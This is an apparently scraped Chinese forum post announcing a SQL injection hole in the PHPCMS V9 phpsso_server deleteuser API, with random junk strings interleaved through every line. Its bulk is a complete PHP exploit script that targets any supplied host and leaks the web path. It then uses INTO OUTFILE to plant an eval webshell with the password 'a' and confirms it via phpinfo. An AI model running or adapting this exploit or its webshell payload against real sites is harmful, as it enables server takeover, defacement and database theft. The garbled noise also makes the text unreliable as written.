PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。 v/ e; D2 W/ L% }& z5 W
; a/ e: X# z* _1 L所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。0 K( Q: o! [* a4 ^; ^# J Z. M
+ Z$ `3 R; I2 b7 [; B
漏洞分析:% E3 D. t0 k3 l' X- F" ~0 d
1.未启用ucenter服务的情况下uc_key为空
7 a# Y! H* _9 y3 |! ?9 pdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));8 f0 w8 m: M% r% J
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
& E" R. C" f2 `9 m* q y& C public function deleteuser($get,$post) {* b9 F+ f; z7 p; B2 Y% J7 B
pc_base::load_app_func('global', 'admin');
_3 w5 q8 e% n pc_base::load_app_class('messagequeue', 'admin' , 0);
3 |. q U/ ?% M" |1 O$ Q# H $ids = new_stripslashes($get['ids']);' i9 {+ R! {" G7 q
$s = $this->member_db->select("ucuserid in ($ids)", "uid");7 L2 ?6 F( E8 R2 R, u
SQL语句为
# r1 ~8 ~7 e9 [; h8 KSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
7 g. o, N1 O7 ]- m8 V: p- O* C8 n6 E% q; `9 E& ^$ i7 T i
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
8 f) U: W! E8 c, Y v0 n) q<?php( z* M9 f* j7 t; {/ r
print_r('
2 ^- W" C4 Y( m+ g4 C" n+ \- a: N---------------------------------------------------------------------------
/ [# r, N' K" BPHPcms (v9 or Old Version) uc api sql injection 0day
0 w$ A! M+ |' @! v3 U7 w3 }by rayh4c#80sec.com
0 {- X! \) n" c$ J+ h---------------------------------------------------------------------------5 P- D( c9 q% m6 T' i: c5 G
');% s! q3 d: S) b/ h/ A
- R8 L' X, {& ~$ |, A: l& R8 Sif ($argc<3) {* Y$ S; k& U% L2 d
print_r('! V! v2 p% p. w$ X
---------------------------------------------------------------------------2 r' }% w8 B9 z0 R# n8 v' t
Usage: php '.$argv[0].' host path OPTIONS) ~! m; Z# u/ a
host: target server (ip/hostname)! }) Z1 @0 b# Y6 f% x
path: path to phpcms \0 r, K- D% m- u
Options:6 }' h! Y& Y0 ^( V) k5 B. [% K7 w
-p[port]: specify a port other than 80$ U& @1 k( ~0 `" R$ r/ {
-P[ip:port]: specify a proxy! z: C* m3 U; F! S
Example:0 e* z. l7 g9 ~& l) _2 W4 l9 f
php '.$argv[0].' localhost /, Z% x' z, @- g4 p2 U9 ^& l
php '.$argv[0].' localhost /phpcms/ -p81
1 h; w: [2 E% B' B: zphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:805 |; X; ?& W6 E2 L! q2 S
---------------------------------------------------------------------------
' Y. g& Z6 n* V2 J( R7 m');
+ c8 x9 @- l- V) Z die;9 o9 Y+ f4 O2 X7 m4 z }5 Q
}
3 E9 c9 B* d0 x; m, p0 Y# O. v" i9 K& ^8 M4 t/ x
error_reporting(7);
; K7 D: M4 O' gini_set("max_execution_time",0);
" b! P- `2 E" f/ tini_set("default_socket_timeout",5);0 x" q3 g# t3 N9 {; n3 Y
? ~$ Y/ s- B& j- d9 ~
function quick_dump($string)+ v9 F$ V! x I+ t) k
{
- Q' V' D# n# }, |2 n $result='';$exa='';$cont=0;0 r0 |. {( v) w6 E* N# E, p4 N2 g
for ($i=0; $i<=strlen($string)-1; $i++)
, h4 ` S3 O. i4 c {
5 U. i9 \- x5 m) M* r; P! ]7 X if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))( R7 b: A( J: U8 C+ y! s, }- J
{$result.=" .";}
3 D" h+ u% ~' N' A) p# W! s" C( V else
7 t4 R: O8 n& s0 P9 l4 y2 x5 j/ { {$result.=" ".$string[$i];}9 K, w% h& q! m; u, R8 K
if (strlen(dechex(ord($string[$i])))==2)
: I5 D: H: |/ B1 X' X0 D {$exa.=" ".dechex(ord($string[$i]));} v( F4 X2 D. B7 q# `( U; B- C
else2 e' ?6 D/ c! x Q y( d. k2 i) w
{$exa.=" 0".dechex(ord($string[$i]));}
- f. K' X7 O. t* l $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
1 g' s& [ W/ N- D" l }
, ?( C8 X2 v: f6 o" Q1 h3 ~- r return $exa."\r\n".$result;+ n3 T- H+ ]1 e& \9 q& u
}
4 q: E/ Z: \4 e- i$ y% f$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
/ l* J9 S! l+ x. Q5 ^; {8 N: X0 t% U
+ Y) ^1 [0 \+ [* r7 V4 d: nfunction send($packet)
\& ~6 w4 {" _{
8 Q. ` j* C% C* E8 w }+ i global $proxy, $host, $port, $html, $proxy_regex;% g: s( `' F8 w
if ($proxy=='') {
# O5 r9 T- g7 Z, F1 q. Y8 C7 O2 h $ock=fsockopen(gethostbyname($host),$port); Z4 Q( H4 P6 Z
if (!$ock) {
: F' C! p8 ~- _9 s echo 'No response from '.$host.':'.$port; die;" v( u+ o3 |" a, N$ \4 D
}" W$ C( @8 p% s9 A3 o; ?
}' b: G& j! g) r: P4 R$ h
else {* \; A$ ^- j( A8 U3 S
$c = preg_match($proxy_regex,$proxy);+ B* y& _2 v5 b6 e9 O' J
if (!$c) {! t; w9 b& \ D9 e
echo 'Not a valid proxy...';die;7 C o3 P& B5 Q6 m# c
}
5 u- I2 c0 s1 |2 }6 O; o $parts=explode(':',$proxy);2 G$ \. l, @8 m4 m0 Q: O7 I! j* Q
$parts[1]=(int)$parts[1];
" O+ l& b) R: d# T+ c echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";0 V* @4 w) @! I, R
$ock=fsockopen($parts[0],$parts[1]);* O3 D+ V4 p9 r
if (!$ock) {) w+ z- Y6 U2 E' x, F/ e+ L
echo 'No response from proxy...';die;0 M" Z9 y. k# l1 j9 g( M8 f5 z
}( y& y/ A! g2 Z$ g3 d! j
}; l. u$ R7 I& \( R0 C) h
fputs($ock,$packet);8 w. o. ^8 m# ]; U+ U
if ($proxy=='') {% g5 d' q# `: R" \! d' S
$html='';
, Q d! w) G& u( M' i& i9 p" E( X while (!feof($ock)) {4 ^& b5 W8 ~9 [; i% `6 \9 `
$html.=fgets($ock);; X( f$ r& X& T' z+ `" o
}
: R0 K2 z! R# ^2 ~ }
7 ]7 Z' c1 S4 Q3 x else {, K) {+ J7 r& V
$html='';
+ C: x l% |8 a' I; e, E while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
+ H X! U" q" ~- J3 h4 B! ` $html.=fread($ock,1);
4 W7 B) V$ F; w4 J+ K( D7 z }
! |% _8 K5 J+ q }
" L- ]7 n( X" [3 V1 y1 W& r1 R, v fclose($ock);* i: \' O5 e3 I' M3 E' P
}
9 C3 s( ?5 y% Q: U$ k( j5 H- s0 K4 _; }7 \! o2 p ~
$host=$argv[1];
; X6 q1 C' q* R! c$ D$path=$argv[2];
g: X0 Y' o8 X7 q+ d2 X$port=80;6 {. n) F t L
$proxy="";8 g! [# M4 |5 y8 Q( Y$ R/ e
for ($i=3; $i<$argc; $i++){! r$ r! L) F0 g C
$temp=$argv[$i][0].$argv[$i][1];3 q$ R4 r& T& B
if ($temp=="-p")2 O6 z9 y) V( U# m# f' R8 ^
{ u4 y* X3 U: U9 E) ]
$port=(int)str_replace("-p","",$argv[$i]);% W' h( P$ O ?0 s2 X
}
, f( m4 w! G; X7 Xif ($temp=="-P")
; T$ L) D2 |" W6 b{
0 w+ @- ]) b, E2 G+ m $proxy=str_replace("-P","",$argv[$i]);' D7 n. C5 G; q2 [
}
1 V4 h3 B, M. n R, T. \/ P2 g, n}8 \6 J% M. ]! t( ?, K( D; x2 @
2 e9 F6 P9 j( d
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
: A- b. t" Z: F) v! j- Zif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}: Y) Z. l7 ~$ K$ B# r# ^: [: I+ p7 z
; e2 j5 J8 M) f% vfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {6 k; O2 E. M3 V8 v% _ B( `2 X
# _: Y! z! t/ H $ckey_length = 4;
# n6 h; s; E- _2 q
! p. c6 f! S* ?( } $key = md5($key ? $key : '');* s& B- S3 F# B3 d$ A
$keya = md5(substr($key, 0, 16));
; V: z7 P* X6 w( l: I. M) M $keyb = md5(substr($key, 16, 16));/ a; J C1 b! P) e c/ ~1 x6 Q! A) f
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
' Y+ v1 q7 \% k3 ~7 k9 V
6 [% x1 U4 y5 t- o, h $cryptkey = $keya.md5($keya.$keyc);6 x7 J4 h6 b# X2 i2 m& U* q
$key_length = strlen($cryptkey);
2 \( p |& @& S
/ \7 S' I: I; X6 I; x# z" } $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
# u; {4 B6 ` y/ X! H $string_length = strlen($string);, o/ ?* c, Z, T& k' w
8 B+ |' X& a/ K7 a
$result = '';
2 ?( a& r# X/ a1 V* g $box = range(0, 255);1 C' u7 t0 D+ h) H7 W3 S9 y
% U- F6 T4 L' u n. T
$rndkey = array();8 ^ R0 P' W+ c3 ] y0 M/ K
for($i = 0; $i <= 255; $i++) {% H% g& j- e3 c [9 A. t$ ^
$rndkey[$i] = ord($cryptkey[$i % $key_length]);+ E% n" h- G& q: p. T6 G
}
, Y6 q' v' f& \* w( ~2 H( f1 q$ n9 z6 Q
for($j = $i = 0; $i < 256; $i++) {; e) l, \3 t2 q" B" k2 m
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
4 g8 D k! m; S ~9 @! c $tmp = $box[$i];
" n& z: f4 H# J& a2 H$ _ $box[$i] = $box[$j];
6 |+ w0 j% G% r9 f: @7 F $box[$j] = $tmp;
( s/ [& y$ S* {% Z9 m }
" W5 ^* k' e3 i! D1 R0 J$ T/ Y( l2 G7 y/ O& C- I/ \
for($a = $j = $i = 0; $i < $string_length; $i++) {1 M9 I5 B0 T% {) b: r d
$a = ($a + 1) % 256;
5 r$ A* }& } R2 b6 B $j = ($j + $box[$a]) % 256;
7 q# @ {1 L; n! w8 D/ v0 t $tmp = $box[$a];
5 {$ d4 X: \5 h1 u: H3 O5 Y $box[$a] = $box[$j];
: D/ e# D* v. t a. Z $box[$j] = $tmp; x" B4 n6 h4 t4 o
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));- S" ~4 b) \1 A& h q& x
}' T$ Q& E# B; G8 w' b
% N8 B& K& D1 v T0 y, L' p if($operation == 'DECODE') {
) [- i" K- D- O: X$ S if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {: c# m3 S. V2 r& z* {
return substr($result, 26);; C7 \! E& _1 M4 R ]" g
} else {6 O# @+ q1 g* I
return '';$ N; Z" ]' b" y2 u/ p* P
}
+ s/ \0 b2 m5 i# A, k } else {
6 Y7 K! J5 G. m return $keyc.str_replace('=', '', base64_encode($result));; q1 U; E% A& q0 s3 @! |
}9 ]1 e; t2 \* v1 B3 o3 C2 t* W
, F' p9 h) w# m- d6 ~
}
6 n, A5 z! [' ~+ M2 Q# p, w# L6 ]- b. X
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";. \, ~* j, H& \4 L1 u* ~
$SQL = urlencode(authcode($SQL, "ENCODE", ""));0 y# w Z2 G$ s# P. g$ a% s0 `: U
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";; {+ r3 b. x( z. X! [
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";1 N9 t$ J$ }( j5 ]. O$ u* X- e) K
$packet.="User-Agent: Mozilla/5.0\r\n";
2 k U. W5 Q& a# h/ u8 }! w$packet.="Host: ".$host."\r\n";0 l: t4 O: _/ u: f$ W8 T
$packet.="Connection: Close\r\n\r\n";4 H, i* [. n+ C; ]- [
send($packet);' I8 y0 g: M% B
if(strpos($html,"MySQL Errno") > 0){
! \+ w/ W% z" `, Pecho "[2] 发现存在SQL注入漏洞"."\n";$ l) n+ e- S/ f J3 |+ _
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";. e8 K! e) L' z2 |8 K, u. `! T6 G
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
! {. Z( U7 W* z. z8 H, i$packet.="User-Agent: Mozilla/5.0\r\n";
, V X: ^" B/ ^1 F$packet.="Host: ".$host."\r\n";
: s0 d" K/ N9 {* E$packet.="Connection: Close\r\n\r\n";" L/ [0 Q# {* O% e6 ?3 X, N2 c7 R3 h5 _
send($packet);, z2 Y! P/ D9 H7 z' l
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
! T; t+ R/ C6 `& W6 ^//print_r($matches);" ?& V1 o' U% [+ b) a
if(!empty($matches)){7 {4 P& G% g$ ^8 M0 w$ |. d9 m
echo "[4] 得到web路径 " . $matches[0]."\n";
6 {0 P+ s/ J. D- Iecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";9 L; |4 v4 U8 _& V4 ^9 R
$SQL = "time=999999999999999999999999&ids=1)"; s5 n' {9 ]* p, |! r( n
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";3 ~0 {0 J! u7 y! n
$SQL.="&action=deleteuser";) }" x/ D: Q( y' ^+ y6 {
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
* H- |+ K5 V5 l' q5 fecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";6 S6 {' K1 F% G& b& t* G( w, U
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";* `" g5 J. A* x- p. H0 p6 V
$packet.="User-Agent: Mozilla/5.0\r\n";+ _ z b1 D& ^4 W
$packet.="Host: ".$host."\r\n";
% e. A6 s7 a( r0 I" ^2 o$packet.="Connection: Close\r\n\r\n";
0 q& g2 Z( H4 U- y& @6 _send($packet);
* Q( t2 j6 F) w/ U' vif(strpos($html,"Access denied") > 0){
, z: \" ~' Y. Iecho "[-] MYSQL权限过低 禁止写入文件 ";
8 @# N' h0 ?0 K- u) W) T1 jdie;+ A) F3 Q+ E5 |( [0 e% C+ t: @1 r
}
9 g% c$ [- F( Xecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";, S$ M2 H4 M9 ?" ~, \0 [
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";+ J5 j6 ~4 q0 n& l; I
$packet.="User-Agent: Mozilla/5.0\r\n";
7 ^2 X" k! [" S2 Y% X$packet.="Host: ".$host."\r\n";
: c, O( i! g* M! x7 [% D2 n$packet.="Connection: Close\r\n\r\n";1 F V! P' h V
send($packet);, o$ p5 r& R8 r% w* s5 k. D+ w
if(strpos($html,"<title>phpinfo()</title>") > 0){
9 V/ J9 W9 U( V% ?1 i4 n1 N! oecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";5 Y3 o. _% N* f: X- |3 d% N# r
}, v) z5 {+ t! O: F
}else{
! p/ h4 O1 H& ^- ~1 c! D4 Qecho "[-]未取到web路径 ";
3 h. Q6 r) t6 i}0 y. w7 `2 S) R, a
}else{% K. F+ \" u' \6 R T2 A3 ?$ M
echo "[*]不存在SQL注入漏洞"."\n";
' Y( T; V( d% h! S& E}
. S: }8 Y' |6 A! h3 C/ X6 Y1 {# j) m7 Q. \( }2 G3 A
?>+ C" l7 |) [- m
|